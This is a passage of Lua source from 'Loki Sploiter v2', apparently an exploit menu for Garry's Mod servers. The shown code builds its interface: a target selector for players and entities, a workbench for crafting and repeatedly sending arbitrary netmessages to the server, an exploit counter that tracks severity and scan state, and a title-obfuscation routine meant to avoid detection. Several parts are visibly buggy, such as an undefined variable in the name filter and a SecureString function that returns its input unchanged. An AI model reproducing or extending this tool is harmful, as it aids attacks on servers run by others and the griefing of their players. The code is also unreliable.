  1184. Plist:SetSize( LOKI.EntitySelector:GetWide() - 10, LOKI.EntitySelector:GetTall() - 55 )
  1185. Plist:SetPadding( 5 )
  1186. Plist:SetSpacing( 5 )
  1187. Plist:EnableHorizontal( false )
  1188. Plist:EnableVerticalScrollbar( true )
  1189. if(tab.nostore) then
  1190. Plist:SetPos( 5, 20 )
  1191. else
  1192. Plist:SetPos( 5, 40 )
  1193. end
  1194. Plist:SetName( "" )
  1195. local x, y = 10, 23
  1196. if(!tab.nostore) then
  1197. if(!single) then
  1198. local target1 = LOKI.vgui.Create("DButton", LOKI.EntitySelector)
  1199. target1:SetSize( 25, 20 )
  1200. target1:SetPos( x, 23 )
  1201. x = x + target1:GetSize()
  1202. target1:SetText("All")
  1203. target1:SetTextColor(Color(255, 255, 255, 255))
  1204. target1.Paint = function(panel, w, h)
  1205. surface.SetDrawColor(100, 100, 100 ,255)
  1206. surface.DrawOutlinedRect(0, 0, w, h)
  1207. surface.SetDrawColor(0, 0, 50 ,155)
  1208. surface.DrawRect(0, 0, w, h)
  1209. end
  1210. target1.DoClick = function()
  1211. for _, p in ipairs(tbl) do
  1212. if not table.HasValue( plytab, p ) then
  1213. table.insert( plytab, p )
  1214. end
  1215. end
  1216. LOKI.Store( tab, plytab )
  1217. end
  1218. end
  1219. local target2 = LOKI.vgui.Create("DButton", LOKI.EntitySelector)
  1220. target2:SetSize( 40, 20 )
  1221. target2:SetPos( x, 23 )
  1222. x = x + target2:GetSize()
  1223. target2:SetText("None")
  1224. target2:SetTextColor(Color(255, 255, 255, 255))
  1225. target2.Paint = function(panel, w, h)
  1226. surface.SetDrawColor(100, 100, 100 ,255)
  1227. surface.DrawOutlinedRect(0, 0, w, h)
  1228. surface.SetDrawColor(0, 0, 50 ,155)
  1229. surface.DrawRect(0, 0, w, h)
  1230. end
  1231. target2.DoClick = function()
  1232. table.Empty(plytab)
  1233. if(single) then
  1234. LOKI.Store( tab, plytab[1] )
  1235. else
  1236. LOKI.Store( tab, plytab )
  1237. end
  1238. end
  1239. if(type(tbl[1]) == "Player") then
  1240. local target3 = LOKI.vgui.Create("DButton", LOKI.EntitySelector )
  1241. target3:SetSize( 30, 20 )
  1242. target3:SetPos( x, 23 )
  1243. x = x + target3:GetSize()
  1244. target3:SetText("Me")
  1245. target3:SetTextColor(Color(255, 255, 255, 255))
  1246. target3.Paint = function(panel, w, h)
  1247. surface.SetDrawColor(100, 100, 100 ,255)
  1248. surface.DrawOutlinedRect(0, 0, w, h)
  1249. surface.SetDrawColor(0, 0, 50 ,155)
  1250. surface.DrawRect(0, 0, w, h)
  1251. end
  1252. target3.DoClick = function()
  1253. table.Empty(plytab)
  1254. plytab[1] = LOKI.GetLP()
  1255. if(single) then
  1256. LOKI.Store( tab, plytab[1] )
  1257. else
  1258. LOKI.Store( tab, plytab )
  1259. end
  1260. end
  1261. end
  1262. if(!single && type(tbl[1]) == "Player") then
  1263. local target4 = LOKI.vgui.Create("DButton", LOKI.EntitySelector )
  1264. target4:SetSize( 50, 20 )
  1265. target4:SetPos( x, 23 )
  1266. x = x + target4:GetSize()
  1267. target4:SetText("Whitelist")
  1268. target4:SetTextColor(Color(255, 255, 255, 255))
  1269. target4.Paint = function(panel, w, h)
  1270. surface.SetDrawColor(100, 100, 100 ,255)
  1271. surface.DrawOutlinedRect(0, 0, w, h)
  1272. surface.SetDrawColor(0, 0, 50 ,155)
  1273. surface.DrawRect(0, 0, w, h)
  1274. if LOKI.GetWhitelist(tab.addr) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
  1275. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1276. end
  1277. target4.DoClick = function()
  1278. LOKI.SetWhitelist(tab.addr, !LOKI.GetWhitelist(tab.addr))
  1279. end
  1280. end
  1281. local target5 = LOKI.vgui.Create( "DTextEntry", LOKI.EntitySelector )
  1282. target5:SetPos( x, 23 )
  1283. target5:SetSize( 85, 20 )
  1284. x = x + target5:GetSize()
  1285. target5:SetText( "" )
  1286. target5.OnChange = function( self )
  1287. local nam = self:GetValue()
  1288. nam = string.Replace(nam, " ", "")
  1289. nam = nam:gsub( "[%-%^%$%(%)%%%.%[%]%*%+%-%?]", "%%%1" )
  1290. local namtab = string.Explode( ",", nam )
  1291. plytab = {}
  1292. for _, pl in ipairs( tbl ) do
  1293. for _, s in pairs( namtab ) do
  1294. if v:IsPlayer() && (string.find( string.lower( pl:Nick() ), s, 1, true ) ||
  1295. string.find( string.lower( pl:GetUserGroup() ), s, 1, true )) ||
  1296. string.find( string.lower( pl:GetClass() ), s, 1, true ) then
  1297. table.Empty(plytab)
  1298. plytab[#plytab+1] = pl
  1299. if(single) then
  1300. break
  1301. end
  1302. end
  1303. end
  1304. end
  1305. if(single) then
  1306. LOKI.Store( tab, plytab[1] )
  1307. else
  1308. LOKI.Store( tab, plytab )
  1309. end
  1310. end
  1311. end
  1312. for k, v in ipairs( tbl ) do
  1313. if(!IsValid(v)) then continue end
  1314. local plypanel2 = LOKI.vgui.Create( "DPanel", (!tab.nostore && Plist) || LOKI.EntitySelector )
  1315. plypanel2:SetPos( 0, 0 )
  1316. plypanel2:SetSize( 200, 25 )
  1317. local teamcol = Color(255,255,255)
  1318. if(v:IsPlayer()) then
  1319. teamcol = team.GetColor( v:Team() )
  1320. end
  1321. plypanel2.Paint = function( s, w, h )
  1322. if !v:IsValid() then return end
  1323. surface.SetDrawColor( Color(30, 30, 30, 245) )
  1324. surface.DrawRect( 0, 0, w, h )
  1325. surface.SetDrawColor( teamcol )
  1326. surface.DrawRect( 0, h - 3, w, 3 )
  1327. surface.SetDrawColor( Color(55, 55, 55, 245) )
  1328. surface.DrawOutlinedRect( 0, 0, w, h )
  1329. if table.HasValue( LOKI.GetStored(tab.addr) || {}, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
  1330. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1331. end
  1332. local plyname = LOKI.vgui.Create( "DLabel", plypanel2 )
  1333. plyname:SetPos( 10, 5 )
  1334. plyname:SetFont( "Trebuchet18" )
  1335. local tcol = Color( 255, 255, 255 )
  1336. if v == LOKI.GetLP() then tcol = Color( 155, 155, 255 ) end
  1337. plyname:SetColor( tcol )
  1338. if(v:IsPlayer()) then
  1339. plyname:SetText( "(" .. v:GetUserGroup() .. ") " .. v:Nick() )
  1340. else
  1341. plyname:SetText( tostring(v) )
  1342. end
  1343. plyname:SetSize(180, 15)
  1344. local plysel = LOKI.vgui.Create("DButton", plypanel2 )
  1345. plysel:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
  1346. plysel:SetPos( 0, 0 )
  1347. plysel:SetText("")
  1348. plysel.ent = v
  1349. plysel.Paint = function(panel, w, h)
  1350. if plysel.ent == LOKI.SpectateEnt then surface.SetDrawColor( Color(0, 255, 255, 245) ) surface.DrawOutlinedRect( 2, 2, plypanel2:GetWide() - 4, plypanel2:GetTall() - 4) end
  1351. local hoveredpan = vgui.GetHoveredPanel()
  1352. if(IsValid(hoveredpan) && IsValid(hoveredpan.ent) && !LOKI.SpectateEnt) then
  1353. LOKI.IsHovered = hoveredpan.ent
  1354. else
  1355. LOKI.IsHovered = false
  1356. end
  1357. return
  1358. end
  1359. plysel.DoRightClick = function()
  1360. if(LOKI.SpectateEnt != plysel.ent) then
  1361. LOKI.SpectateEnt = plysel.ent
  1362. else
  1363. LOKI.SpectateEnt = false
  1364. end
  1365. end
  1366. plysel.DoClick = function()
  1367. if(tab.nostore) then return plysel.DoRightClick() end
  1368. if(istable(plytab)) then
  1369. if table.HasValue( plytab, v ) then
  1370. Index = table.RemoveByValue( plytab, v )
  1371. else
  1372. if(single) then
  1373. table.Empty(plytab)
  1374. end
  1375. table.insert(plytab, v)
  1376. end
  1377. if(single) then
  1378. LOKI.Store( tab, plytab[1] )
  1379. else
  1380. LOKI.Store( tab, plytab )
  1381. end
  1382. else
  1383. LOKI.Store( tab, plytab )
  1384. end
  1385. end
  1386. Plist:AddItem( plypanel2 )
  1387. end
  1388. end
  1389. function LOKI.MakeTextInputButton( parent, x, y, btext, default, addr)
  1390. if !parent:IsValid() then return end
  1391. local hostframe = LOKI.vgui.Create( "DPanel", parent )
  1392. hostframe:SetPos( x, y )
  1393. hostframe.Paint = function( self, w, h )
  1394. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1395. surface.DrawRect( 0, 0, w, h )
  1396. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1397. surface.SetMaterial( downgrad )
  1398. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1399. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1400. surface.DrawOutlinedRect( 0, 0, w, h )
  1401. end
  1402. local tttt = LOKI.vgui.Create( "DLabel", hostframe )
  1403. tttt:SetPos( 5, 5 )
  1404. tttt:SetText( btext )
  1405. tttt:SizeToContents()
  1406. local tentry = LOKI.vgui.Create( "DTextEntry", hostframe )
  1407. tentry:SetPos( 10 + tttt:GetWide(), 2 )
  1408. --tentry:SetSize( 130, 20 )
  1409. tentry:SetText( LOKI.GetStored( addr, default ) )
  1410. tentry.OnChange = function( self )
  1411. LOKI.Store( addr, self:GetValue() )
  1412. end
  1413. hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
  1414. return hostframe:GetWide(), hostframe:GetTall()
  1415. end
  1416. function LOKI.MakeComboButton( parent, x, y, btext, default, addr, tbl, restriction, name, sort, find)
  1417. if !parent:IsValid() then return end
  1418. if(isfunction(tbl)) then
  1419. tbl = tbl()
  1420. end
  1421. local hostframe = LOKI.vgui.Create( "DPanel", parent )
  1422. hostframe:SetPos( x, y )
  1423. hostframe.Paint = function( self, w, h )
  1424. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1425. surface.DrawRect( 0, 0, w, h )
  1426. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1427. surface.SetMaterial( downgrad )
  1428. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1429. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1430. surface.DrawOutlinedRect( 0, 0, w, h )
  1431. end
  1432. local tttt = LOKI.vgui.Create( "DLabel", hostframe )
  1433. tttt:SetPos( 5, 5 )
  1434. tttt:SetText( btext )
  1435. tttt:SizeToContents()
  1436. local tentry = LOKI.vgui.Create( "DComboBox", hostframe )
  1437. tentry:SetPos( 10 + tttt:GetWide(), 2 )
  1438. tentry:SetSize( 130, 20 )
  1439. tentry:SetSortItems( false )
  1440. tentry:SetValue(istable(LOKI.GetStored(addr, default)) && tbl[(LOKI.GetStored(addr, default)[1])] && tbl[(LOKI.GetStored(addr, default)[1])][name] || "")
  1441. for k, v in SortedPairsByMemberValue(tbl, sort) do
  1442. if(!restriction || v[restriction]) then
  1443. tentry:AddChoice(v[name], k)
  1444. end
  1445. end
  1446. tentry.OnSelect = function( panel, index, value, data )
  1447. tentry:SetValue(value)
  1448. LOKI.Store( addr, {data, tbl[data][find] || data} )
  1449. end
  1450. hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
  1451. return hostframe:GetWide(), hostframe:GetTall()
  1452. end
  1453. function LOKI.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
  1454. if !parent:IsValid() then return end
  1455. if(min) then
  1456. min = LOKI.SafeToNumber(min)
  1457. else
  1458. min = -math.huge
  1459. end
  1460. if(max) then
  1461. max = LOKI.SafeToNumber(max)
  1462. else
  1463. max = math.huge
  1464. end
  1465. local hostframe = LOKI.vgui.Create( "DPanel", parent )
  1466. hostframe:SetPos( x, y )
  1467. hostframe.Paint = function( self, w, h )
  1468. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1469. surface.DrawRect( 0, 0, w, h )
  1470. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1471. surface.SetMaterial( downgrad )
  1472. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1473. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1474. surface.DrawOutlinedRect( 0, 0, w, h )
  1475. end
  1476. local tttt = LOKI.vgui.Create( "DLabel", hostframe )
  1477. tttt:SetPos( 5, 5 )
  1478. tttt:SetText( btext || "" )
  1479. tttt:SizeToContents()
  1480. local numentry = LOKI.vgui.Create( "DNumberWang", hostframe )
  1481. numentry:SetPos( 10 + tttt:GetWide(), 2 )
  1482. numentry:SetSize( 45, 20 )
  1483. numentry:SetDecimals( 2 )
  1484. numentry:SetMin( min )
  1485. numentry:SetMax( max )
  1486. numentry:SetValue( LOKI.GetStored( addr, default ) )
  1487. numentry.OnValueChanged = function( self, val )
  1488. val = math.Clamp(LOKI.SafeToNumber(val), min, max)
  1489. LOKI.Store( addr, val )
  1490. end
  1491. hostframe:SetSize( 13 + tttt:GetWide() + numentry:GetWide(), 24 )
  1492. return hostframe:GetWide(), hostframe:GetTall()
  1493. end
  1494. function LOKI.MakeVectorInputButton( parent, x, y, btext, default, addr)
  1495. if !parent:IsValid() then return end
  1496. local hostframe = LOKI.vgui.Create( "DPanel", parent )
  1497. hostframe:SetPos( x, y )
  1498. hostframe.Paint = function( self, w, h )
  1499. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1500. surface.DrawRect( 0, 0, w, h )
  1501. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1502. surface.SetMaterial( downgrad )
  1503. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1504. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1505. surface.DrawOutlinedRect( 0, 0, w, h )
  1506. end
  1507. local tttt = LOKI.vgui.Create( "DLabel", hostframe )
  1508. tttt:SetPos( 5, 5 )
  1509. tttt:SetText( btext || "" )
  1510. tttt:SizeToContents()
  1511. local numentry = nil
  1512. for i=1,3 do
  1513. local numentry = LOKI.vgui.Create( "DNumberWang", hostframe )
  1514. numentry:SetPos( 3*i + tttt:GetWide(), 2 )
  1515. numentry:SetSize( 15*i, 20 )
  1516. numentry:SetDecimals( 2 )
  1517. numentry:SetValue( LOKI.GetStored( addr, default )[i] )
  1518. numentry.OnValueChanged = function( self, val )
  1519. val = LOKI.SafeToNumber(val)
  1520. local var = LOKI.GetStored( addr, default )
  1521. self:SetValue(val)
  1522. var[i] = val
  1523. LOKI.Store( addr, var )
  1524. end
  1525. end
  1526. hostframe:SetSize( 13 + tttt:GetWide() + numentry:GetWide() * 3, 24 )
  1527. return hostframe:GetWide(), hostframe:GetTall()
  1528. end
  1529. ////////////////////////////////////////////- NET WORKBENCH -//////////////////////////////////////////////////
  1530. function LOKI.MakeMessageSelector( hostpanel, typevar, isent )
  1531. local hostframe = LOKI.vgui.Create( "DPanel", LOKI.NetWorkbench.NetPanel )
  1532. hostframe:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
  1533. hostframe:SetSize( LOKI.NetWorkbench.NetPanel:GetWide() - 10, 22 )
  1534. hostframe.Paint = function( self, w, h )
  1535. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1536. surface.DrawRect( 0, 0, w, h )
  1537. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1538. surface.DrawOutlinedRect( 0, 0, w, h )
  1539. end
  1540. local tttt = LOKI.vgui.Create( "DLabel", hostframe )
  1541. tttt:SetPos( 20, 4 )
  1542. tttt.Type = typevar
  1543. tttt:SetText( typevar )
  1544. tttt:SizeToContents()
  1545. local tentry = isent && LOKI.vgui.Create( "DComboBox", hostframe ) || LOKI.vgui.Create( "DTextEntry", hostframe )
  1546. tentry:SetSize( 140, 18 )
  1547. tentry:SetPos( hostframe:GetWide() - 145, 2 )
  1548. if(!isent) then
  1549. tentry:SetText( "" )
  1550. tentry.OnChange = function( self )
  1551. print( self:GetValue() )
  1552. end
  1553. else
  1554. for k, v in ipairs( player.GetAll() ) do
  1555. if((v:IsScripted() || v:IsPlayer()) && !string.StartWith(v:GetClass(), "env_")) then
  1556. tentry:AddChoice(tostring(v))
  1557. end
  1558. end
  1559. DComboBox.OnSelect = function( panel, index, value )
  1560. print( tostring(Entity(index)) .." was selected!" )
  1561. end
  1562. end
  1563. local SelButton = LOKI.vgui.Create( "DButton", hostframe )
  1564. SelButton:SetPos( 5, 3 )
  1565. SelButton:SetText( "" )
  1566. SelButton:SetTextColor( Color(255, 255, 255, 255) )
  1567. SelButton:SetSize( 12, 16 )
  1568. SelButton.Paint = function( self, w, h )
  1569. surface.SetDrawColor( Color(30, 30, 30, 200) )
  1570. surface.DrawRect( 0, 0, w, h )
  1571. surface.SetDrawColor( Color(90, 90, 90, 200) )
  1572. surface.DrawRect( 2, 2, 3, h - 4 )
  1573. surface.DrawRect( 6, 2, 3, h - 4 )
  1574. end
  1575. LOKI.NetWorkbench.NetPanel.ysize = LOKI.NetWorkbench.NetPanel.ysize + 25
  1576. hostpanel:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
  1577. SelButton.DoClick = function( self )
  1578. hostframe:Remove()
  1579. LOKI.NetWorkbench.NetPanel.ysize = LOKI.NetWorkbench.NetPanel.ysize - 25
  1580. hostpanel:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
  1581. end
  1582. end
  1583. function LOKI.NetmessagePanel()
  1584. if LOKI.NetWorkbench and LOKI.NetWorkbench:IsVisible() then LOKI.NetWorkbench:Remove() end
  1585. LOKI.NetWorkbench = LOKI.vgui.Create("DFrame", LOKI.Menu)
  1586. LOKI.NetWorkbench:SetSize(250,400)
  1587. LOKI.NetWorkbench:SetTitle("Send a netmessage")
  1588. -- LOKI.NetWorkbench:SetPos( gui.MouseX(), gui.MouseY() )
  1589. LOKI.NetWorkbench:MakePopup()
  1590. LOKI.NetWorkbench:Center()
  1591. LOKI.NetWorkbench.Paint = function( s, w, h )
  1592. if !IsValid(LOKI.Menu) or !LOKI.Menu:IsVisible() then s:Remove() return end
  1593. surface.SetDrawColor( Color(30, 30, 30, 255) )
  1594. surface.DrawRect( 0, 0, w, h )
  1595. surface.SetDrawColor( Color(55, 55, 55, 245) )
  1596. surface.DrawOutlinedRect( 0, 0, w, h )
  1597. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1598. LOKI.DrawText( "Channel: ", "default", 5, 28, Color(255,255,255, 30) )
  1599. LOKI.DrawText( "Repeat: ", "default", 8, 54, Color(255,255,255, 30) )
  1600. LOKI.DrawText( "Times", "default", 100, 54, Color(255,255,255, 30) )
  1601. LOKI.DrawText( "Delay: ", "default", 15, 79, Color(255,255,255, 30) )
  1602. LOKI.DrawText( "( 100 = 1 msg/second )", "default", 100, 79, Color(255,255,255, 30) )
  1603. LOKI.DrawText( "Data: ", "default", 5, 104, Color(255,255,255, 30) )
  1604. surface.SetDrawColor( Color(0, 0, 0, 205) )
  1605. surface.DrawRect( 5, 105, w - 10, 250 )
  1606. end
  1607. LOKI.NetWorkbench.NetPanel = LOKI.vgui.Create( "DScrollPanel", LOKI.NetWorkbench )
  1608. LOKI.NetWorkbench.NetPanel:SetSize( LOKI.NetWorkbench:GetWide() - 10, 250 )
  1609. LOKI.NetWorkbench.NetPanel:SetPos( 5, 105 )
  1610. LOKI.NetWorkbench.NetPanel.ysize = 0
  1611. local AddButton = LOKI.vgui.Create( "DButton", LOKI.NetWorkbench.NetPanel )
  1612. AddButton:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
  1613. AddButton:SetText( "Add New Data" )
  1614. AddButton:SetTextColor( Color(255, 255, 255, 255) )
  1615. AddButton:SetSize( LOKI.NetWorkbench.NetPanel:GetWide() - 10, 20 )
  1616. AddButton.Paint = function( self, w, h )
  1617. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1618. surface.DrawRect( 0, 0, w, h )
  1619. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1620. surface.DrawRect( 0, 0, w, 1 )
  1621. surface.DrawRect( 0, 0, 1, h )
  1622. end
  1623. local DataToSend = {}
  1624. AddButton.DoClick = function( self )
  1625. local Menu = DermaMenu()
  1626. local Menustr = Menu:AddOption( "String (Text)", function() LOKI.MakeMessageSelector(self, "String") end ) Menustr:SetIcon( "icon16/script_edit.png" )
  1627. local Menuuint = Menu:AddOption( "UInt (Positive Whole Number)", function() LOKI.MakeMessageSelector(self, "UInt") end ) Menuuint:SetIcon( "icon16/script_add.png" )
  1628. local Menuint = Menu:AddOption( "Int (Whole Number)", function() LOKI.MakeMessageSelector(self, "Int") end ) Menuint:SetIcon( "icon16/script_delete.png" )
  1629. local Menufloat = Menu:AddOption( "Float (Decimal Number)", function() LOKI.MakeMessageSelector(self, "Float") end ) Menufloat:SetIcon( "icon16/script_link.png" )
  1630. local Menubool = Menu:AddOption( "Boolean (True or False)", function() LOKI.MakeMessageSelector(self, "Boolean") end ) Menubool:SetIcon( "icon16/script.png" )
  1631. local Menuvec = Menu:AddOption( "Vector (3D coordinates)", function() LOKI.MakeMessageSelector(self, "Vector") end ) Menuvec:SetIcon( "icon16/script_code.png" )
  1632. local Menuang = Menu:AddOption( "Angle (Pitch, Yaw and Roll)", function() LOKI.MakeMessageSelector(self, "Angle") end ) Menuang:SetIcon( "icon16/script_gear.png" )
  1633. local Menucol = Menu:AddOption( "Colour (Red, Green and Blue)", function() LOKI.MakeMessageSelector(self, "Colour") end ) Menucol:SetIcon( "icon16/script_palette.png" )
  1634. local Menuent = Menu:AddOption( "Player (Entity Object)", function() LOKI.MakeMessageSelector(self, "Player", true) end ) Menuent:SetIcon( "icon16/world.png" )
  1635. local Menudouble = Menu:AddOption( "Double (High Precision Decimal Number)", function() LOKI.MakeMessageSelector(self, "Double") end ) Menudouble:SetIcon( "icon16/script_code_red.png" )
  1636. local Menudata = Menu:AddOption( "Data (Binary Data + Length)", function() LOKI.MakeMessageSelector(self, "Data") end ) Menudata:SetIcon( "icon16/server.png" )
  1637. Menu:Open()
  1638. end
  1639. local netname = LOKI.vgui.Create( "DTextEntry", LOKI.NetWorkbench )
  1640. netname:SetPos( 50, 25 )
  1641. netname:SetSize( 190, 20 )
  1642. netname:SetText( LOKI.GetStored( "LCurrentNetmessage", "" ) )
  1643. netname.OnChange = function( self )
  1644. local nam = self:GetValue()
  1645. LOKI.Store( "LCurrentNetmessage", nam )
  1646. end
  1647. local netrepeat = LOKI.vgui.Create( "DNumberWang", LOKI.NetWorkbench )
  1648. netrepeat:SetPos( 50, 50 )
  1649. netrepeat:SetSize( 45, 20 )
  1650. netrepeat:SetDecimals( 2 )
  1651. netrepeat:SetValue( LOKI.GetStored( "LCurrentNetRepeat", 1 ) )
  1652. netrepeat.OnValueChanged = function( self, val )
  1653. LOKI.Store( "LCurrentNetRepeat", self:GetValue() )
  1654. end
  1655. local netdelay = LOKI.vgui.Create( "DNumberWang", LOKI.NetWorkbench )
  1656. netdelay:SetPos( 50, 75 )
  1657. netdelay:SetSize( 45, 20 )
  1658. netdelay:SetDecimals( 3 )
  1659. netdelay:SetValue( LOKI.GetStored( "LCurrentnetDelay", 100 ) )
  1660. netdelay.OnValueChanged = function( self, val )
  1661. LOKI.Store( "LCurrentnetDelay", self:GetValue() )
  1662. end
  1663. local netname = LOKI.vgui.Create( "DTextEntry", LOKI.NetWorkbench )
  1664. netname:SetPos( 50, 25 )
  1665. netname:SetSize( 190, 20 )
  1666. netname:SetText( LOKI.GetStored( "LCurrentNetmessage", "" ) )
  1667. netname.OnChange = function( self )
  1668. local nam = self:GetValue()
  1669. LOKI.Store( "LCurrentNetmessage", nam )
  1670. end
  1671. LOKI.NetWorkbench.SendToServerButton = LOKI.vgui.Create( "DButton", LOKI.NetWorkbench )
  1672. LOKI.NetWorkbench.SendToServerButton:SetPos( 5, LOKI.NetWorkbench:GetTall() - 35 )
  1673. LOKI.NetWorkbench.SendToServerButton:SetText( "Send to Server" )
  1674. LOKI.NetWorkbench.SendToServerButton:SetTextColor( Color(255, 255, 255, 255) )
  1675. LOKI.NetWorkbench.SendToServerButton:SetSize( LOKI.NetWorkbench:GetWide() - 10, 30 )
  1676. LOKI.NetWorkbench.SendToServerButton.Paint = function( self, w, h )
  1677. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1678. surface.DrawRect( 0, 0, w, h )
  1679. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1680. surface.SetMaterial( downgrad )
  1681. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1682. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1683. surface.DrawOutlinedRect( 0, 0, w, h )
  1684. end
  1685. LOKI.NetWorkbench.SendToServerButton.DoClick = function()
  1686. end
  1687. end
  1688. function LOKI.SecondsToClock(seconds)
  1689. local seconds = LOKI.SafeToNumber(seconds)
  1690.  
  1691. if seconds <= 0 then
  1692. return "00:00:00";
  1693. else
  1694. local hours = string.format("%02.f", math.floor(seconds/3600));
  1695. local mins = string.format("%02.f", math.floor(seconds/60 - (hours*60)));
  1696. local secs = string.format("%02.f", math.floor(seconds - hours*3600 - mins *60));
  1697. return hours..":"..mins..":"..secs
  1698. end
  1699. end
  1700. function LOKI.SafeToNumber(var)
  1701. return tonumber(var) || -math.huge
  1702. end
  1703. function LOKI.GetWithinBounds( ent, entpos, dist )
  1704. local tbl = {}
  1705. if(istable(ent)) then
  1706. for k, v in ipairs(ent) do
  1707. if(IsValid(v)) then
  1708. if(v:GetPos():DistToSqr( entpos ) < ( dist*dist )) then
  1709. tbl[#tbl + 1] = v
  1710. end
  1711. end
  1712. end
  1713. return tbl
  1714. elseif(IsValid(ent) && isfunction(ent.GetPos)) then
  1715. return ent:GetPos():DistToSqr( entpos:GetPos() ) < ( dist*dist )
  1716. else
  1717. return false
  1718. end
  1719. end
  1720. function LOKI.SecureString(str)
  1721. local tbl = string.ToTable(str)
  1722. local final_tbl = table.Copy(tbl)
  1723. for k, v in pairs(tbl) do
  1724. table.insert(final_tbl, math.random(0, #tbl), "​")
  1725. end
  1726. return table.concat(tbl)
  1727. end
  1728. ////////////////////////////////////////////- MENU -//////////////////////////////////////////////////
  1729. local events = {["player_disconnect"] = true, ["player_connect"] = true, ["player_hurt"] = true, ["player_say"] = true, ["player_activate"] = true, ["player_spawn"] = true, ["player_changename"] = true, ["player_info"] = true, ["server_cvar"] = true, ["break_prop"] = true, ["break_breakable"] = true, ["flare_ignite_npc"] = true, ["entity_killed"] = true,}
  1730. local eventsR = {}
  1731. function LOKI.OpenMenu(bInit)
  1732. if LOKI.Menu && LOKI.Menu:IsVisible() then return end
  1733. LOKI.CreatePanel = function() end
  1734. local ActiveCount = function() end
  1735. local Plist = nil
  1736. if(bInit != true) then
  1737. LOKI.Menu = LOKI.vgui.Create("DFrame")
  1738. LOKI.Menu:SetPaintedManually(true)
  1739. LOKI.Menu:SetSize(700,550)
  1740. LOKI.Menu:SetTitle(LOKI.SecureString("Loki Sploiter v2"))
  1741. LOKI.Menu:Center()
  1742. LOKI.Menu:MakePopup()
  1743.  
  1744. LOKI.Menu.ExploitCount = {LOKI.GetVarExploits("severity", LOKI.TYPEVARS.MORETHAN, 0)}
  1745. LOKI.Menu.ExploitCount[2] = LOKI.GetVarTable(LOKI.Menu.ExploitCount[1], "scanned", LOKI.TYPEVARS.EQUALTO, true)
  1746. LOKI.Menu.ExploitCount[3] = 0
  1747. LOKI.Menu.ExploitCount[4] = 0
  1748.  
  1749. ActiveCount = function()
  1750.  
  1751. LOKI.Menu.ExploitCount = {LOKI.GetVarExploits("severity", LOKI.TYPEVARS.MORETHAN, 0)}
  1752. LOKI.Menu.ExploitCount[2] = LOKI.GetVarTable(LOKI.Menu.ExploitCount[1], "scanned", LOKI.TYPEVARS.EQUALTO, true)
  1753. LOKI.Menu.ExploitCount[3] = 0
  1754. LOKI.Menu.ExploitCount[4] = 0
  1755.  
  1756. for k, v in pairs(LOKI.Menu.ExploitCount[1]) do
  1757. if(!v.count) then
  1758. v.count = {
  1759. ["Active"] = 1,
  1760. ["Total"] = 1,
  1761. }
  1762. end
  1763.  
  1764. if(istable(v.functions) && !v.count.Counted) then
  1765. for k2, v2 in pairs(v.functions) do
  1766. if(v2.typ == "bools") then
  1767. if(!v.count.Counted) then
  1768. v.count.Total = v.count.Total - 1
  1769. v.count.Counted = true
  1770. end
  1771. v.count.Total = v.count.Total + table.Count(v2.tbl)
  1772. end
  1773. end
  1774. end
  1775.  
  1776. LOKI.Menu.ExploitCount[3] = LOKI.Menu.ExploitCount[3] + v.count.Total
  1777. end
  1778.  
  1779. for k, v in pairs(LOKI.Menu.ExploitCount[2]) do
  1780. LOKI.BlockNetOutgoing = true
  1781. if(v.prevalidated) then LOKI.GENERAL_OVERRIDE = true end
  1782. if(v.scan_always && !v.scan(v)) then LOKI.BlockNetOutgoing = false LOKI.GENERAL_OVERRIDE = false continue end
  1783. LOKI.GENERAL_OVERRIDE = false
  1784. LOKI.BlockNetOutgoing = false
  1785. if(!v.count) then
  1786. v.count = {
  1787. ["Active"] = 1,
  1788. ["Total"] = 1,
  1789. }
  1790. end
  1791.  
  1792. LOKI.Menu.ExploitCount[4] = LOKI.Menu.ExploitCount[4] + v.count.Active
  1793. end
  1794.  
  1795. end
  1796.  
  1797. LOKI.Menu.Paint = function( s, w, h )
  1798. LOKI.Menu:SetVisible(true)
  1799. surface.SetDrawColor( Color(30, 30, 30, 245) )
  1800. surface.DrawRect( 0, 0, w, h )
  1801. surface.SetDrawColor( Color(55, 55, 55, 245) )
  1802. surface.DrawOutlinedRect( 0, 0, w, h )
  1803. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1804. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1805. surface.DrawRect( 80, 25, w - 90, h - 35 )
  1806. surface.SetDrawColor( Color(100, 100, 100, 200) )
  1807. surface.DrawLine( 10, 25, 40, 30 )
  1808. surface.DrawLine( 40, 30, 70, 25 )
